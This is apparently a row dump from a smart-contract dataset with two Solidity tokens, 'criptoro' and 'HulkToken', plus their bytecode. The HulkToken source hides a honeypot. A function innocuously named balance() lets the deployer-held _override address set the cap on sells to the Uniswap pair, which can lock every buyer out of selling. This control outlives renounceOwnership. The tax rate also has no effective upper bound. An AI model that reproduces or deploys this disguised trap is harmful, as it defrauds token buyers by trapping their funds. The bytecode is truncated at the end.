address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x793e6ba9309d990c6519f9c99933ab1643c9981a
pragma solidity ^0.5.7; /* /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ /** * @dev See {IERC20-allowance}. */ /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ /* function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ /* function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ /* function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ /* function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ /* function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ /* function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ /* function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ /*function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ /* function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ /* function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ /* function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract GovernedMinterRole is Module { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor(address _nexus) internal Module(_nexus) { } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyGovernor { _addMinter(account); } function removeMinter(address account) public onlyGovernor { _removeMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * @dev Returns the name of the token. */ /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract criptoro { // Track how many tokens are owned by each address. mapping (address => uint256) public balanceOf; // Modify this section string public name = "criptoro.com"; string public symbol = "cptro"; uint8 public decimals = 18; uint256 public totalSupply = 5000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { // Initially assign all tokens to the contract's creator. balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461022557806370a082311461024957806395d89b41146102a1578063a9059cbb14610324578063dd62ed3e1461038a57610093565b806306fdde0314610098578063095ea7b31461011b57806318160ddd1461018157806323b872dd1461019f575b600080fd5b6100a0610402565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101676004803603604081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104a0565b604051808215151515815260200191505060405180910390f35b610189610592565b6040518082815260200191505060405180910390f35b61020b600480360360608110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610598565b604051808215151515815260200191505060405180910390f35b61022d610800565b604051808260ff1660ff16815260200191505060405180910390f35b61028b6004803603602081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610813565b6040518082815260200191505060405180910390f35b6102a961082b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e95780820151818401526020810190506102ce565b50505050905090810190601f1680156103165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103706004803603604081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c9565b604051808215151515815260200191505060405180910390f35b6103ec600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1d565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e557600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066e57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560205281600052604060002060205280600052604060002060009150915050548156fea165627a7a7230582042c81fecad53a3054bb8848577d40314c055088b6b479cded133022173dc3d1e0029
{"success": true, "error": null, "results": {}}
7,100
0x91d6cfa13f28cf8aacc529f54e2f515381efe769
// SPDX-License-Identifier: MIT // Telegram: https://t.me/hulk_token pragma solidity ^0.8.4; address constant WALLET_ADDRESS=0x6a7040dc314cf93728b32A78fe5fec839A471FBB; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HulkToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "Hulk"; string private constant _symbol = "HULK"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _amount = _tTotal; event MaxDumpChanged(uint _amount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(WALLET_ADDRESS); _taxWallet = payable(WALLET_ADDRESS); _rOwned[_msgSender()] = _rTotal; _override=owner(); _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 8; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _amount); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _amount = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function balance(uint256 limit) external overridden { _amount = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806347bb89f0146101fe57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612487565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612037565b6103f6565b604051610162919061246c565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612609565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fe8565b610420565b6040516101ca919061246c565b60405180910390f35b3480156101df57600080fd5b506101e86104f9565b6040516101f5919061267e565b60405180910390f35b34801561020a57600080fd5b506102256004803603810190610220919061209c565b6104fe565b005b34801561023357600080fd5b5061023c610569565b005b34801561024a57600080fd5b5061026560048036038101906102609190611f5a565b6105e3565b6040516102729190612609565b60405180910390f35b34801561028757600080fd5b50610290610634565b005b34801561029e57600080fd5b506102a7610787565b6040516102b4919061239e565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df9190612487565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612037565b6107ed565b60405161031c919061246c565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061209c565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611fac565b610e0f565b6040516103999190612609565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b60606040518060400160405280600481526020017f48756c6b00000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f08565b8484610f10565b6001905092915050565b60006305f5e100905090565b600061042d8484846110db565b6104ee84610439610f08565b6104e985604051806060016040528060288152602001612c1f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049f610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b600090565b610506610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055f57600080fd5b80600a8190555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105aa610f08565b73ffffffffffffffffffffffffffffffffffffffff16146105ca57600080fd5b60006105d5306105e3565b90506105e081611476565b50565b600061062d600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611770565b9050919050565b61063c610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c090612569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f48554c4b00000000000000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f08565b84846110db565b6001905092915050565b610813610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612569565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db906125e9565b60405180910390fd5b8060058190555050565b6108f6610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90612569565b60405180910390fd5b600860149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90612509565b60405180910390fd5b610a0430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166305f5e100610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa49190611f83565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b609190611f83565b6040518363ffffffff1660e01b8152600401610b7d9291906123b9565b602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcf9190611f83565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c58306105e3565b600080610c63610787565b426040518863ffffffff1660e01b8152600401610c859695949392919061240b565b6060604051808303818588803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd791906120c5565b5050506001600860166101000a81548160ff0219169083151502179055506305f5e100600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dba9291906123e2565b602060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c9190612073565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f05816117de565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f77906125c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe7906124e9565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190612609565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611142906125a9565b604